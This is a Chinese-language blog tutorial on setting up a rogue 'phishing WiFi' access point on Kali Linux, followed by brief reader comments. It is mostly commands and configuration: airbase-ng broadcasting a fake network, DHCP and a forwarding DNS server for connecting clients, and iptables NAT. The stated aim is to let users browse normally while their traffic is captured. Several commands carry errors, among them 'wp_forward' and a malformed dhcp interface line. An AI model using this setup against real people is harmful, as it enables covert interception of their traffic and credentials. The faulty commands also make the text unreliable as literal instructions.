Kali Linux 搭建钓鱼WIFI

工具:
Dell 笔记本
Tenda W311MA无线网卡(免驱)
Kali Linux 2.0
Aircrack-ng 1.2
Isc-dhcp-server 4.3.5
Bind 9.11.2-4-Debian
Iptables v1.6.1
环境:

第一步:释放无线信号
       airmon-ng start wlan0 # 将wlan0开启监听模式
airbase-ng -e “Test-WiFi” -c 6 wlan0mon # 释放WIFI信号,名称为“Test-WiFi“
第二步:允许用户连接
       vim /etc/network/interfaces                          # 给予wlan1静态ip地址(可上网的ip地址)
              auto wlan1    
              iface wlan1 inet static
              address 192.168.150.222
              netmask 255.255.255.0
              gateway 192.168.150.1
       service networking restart
       ifconfig at0 up                                      # 开启at0接口
       vim /etc/network/interfaces                          # 给予at0静态ip地址(供用户的网关)
              auto at0
              iface at0 inet static
              address 192.168.1.1
              netmask 255.255.255.0
       service networking restart
       apt-get install isc-dhcpd-server                     # 安装dhcp服务器向用户提供ip地址
       cp -p /etc/dhcp/dhcpd.conf /etc/dhcp/old_dhpcd.conf  # 备份dhcp的配置文件
       vim /etc/dhcp/dhcpd.conf                             # 向at0提供一个子网
              subnet 192.168.1.0 netmask 255.255.255.0 {
              range 192.168.1.100 192.168.1.150;
              option routers 192.168.1.1;
              option subnet-mask 255.255.255.0;
              option domain-name-servers 192.168.150.222;
              }
       vim /etc/default/isc-dhcp-server                     # 编辑dhcp服务的监听接口
              INTERFACESv4"at0"
              INTERFACESv6""              
       service isc-dhcp-server restart
       apt-get install bind9                                # 安装dns服务向用户提供域名解析服务
       cp -p /etc/bind/named.conf.options /etc/bind/old_named.conf.options    # 备份dns配置文件
       vim /etc/bind/named.conf.options                     # 编辑配置文件开启代理dns功能
              forwarders { 8.8.8.8; };
              recursion yes;
              allow-query { any; };
              listen-on { any; };
              listen-on port 53 { 192.168.150.222; };
       vim /etc/resolv.conf                                 # 更改本机dns地址为自己
              nameserver 192.168.150.222
       service networking restart
       service bind9 restart
       nslookup                                             # 尝试使用自己的代理 DNS 解析域名
              www.freeloner.com
              Non-authoritative answer:                     # 看到此信息表示你的 DNS 服务器正常运行
              Name: www.freeloner.com
              Address: 101.201.66.209
第三步:开启流量转发
       echo 1 > /proc/sys/net/ipv4/wp_forward                                                         # 开启内核的数据转发功能
       iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o wlan1 -j SNAT --to-source 192.168.150.222  # 使用iptables实现流量nat技术
效果: 用户可以使用 “Test-WiFi” 正常上网,既可以进行数据的抓取

声明:未经作者允许禁止转载,违者必究!

相关链接:
Kali Linux : https://www.kaili.org
Aircrack-ng : https://www.aircrack-ng.org
Isc-dhcp-server : https://www.isc.org/downloads/dhcp
Bind : https://www.isc.org/downloads/bind
Iptables : http://www.iptables.org/projects/iptables/downloads.html


在 YouTube 观看视频教程


在 BiliBili 观看视频教程

5 Comments

  1. L-Dragon 2017年12月26日 at 下午3:43

    <来顶




    0



    0
  2. Gray 2017年12月26日 at 下午4:32

    为了评论,我专门申请了账号! 下次忘记密码了直接找你要了!




    0



    0
  3. zhzy 2017年12月26日 at 下午6:08

    haha~ 感谢两位的支持




    0



    0
  4. 123 2017年12月27日 at 下午2:25

    可恶的插件




    0



    0
  5. 爸爸 2018年1月17日 at 下午6:22

    支持支持




    0



    0

Leave a comment

电子邮件地址不会被公开。 必填项已用*标注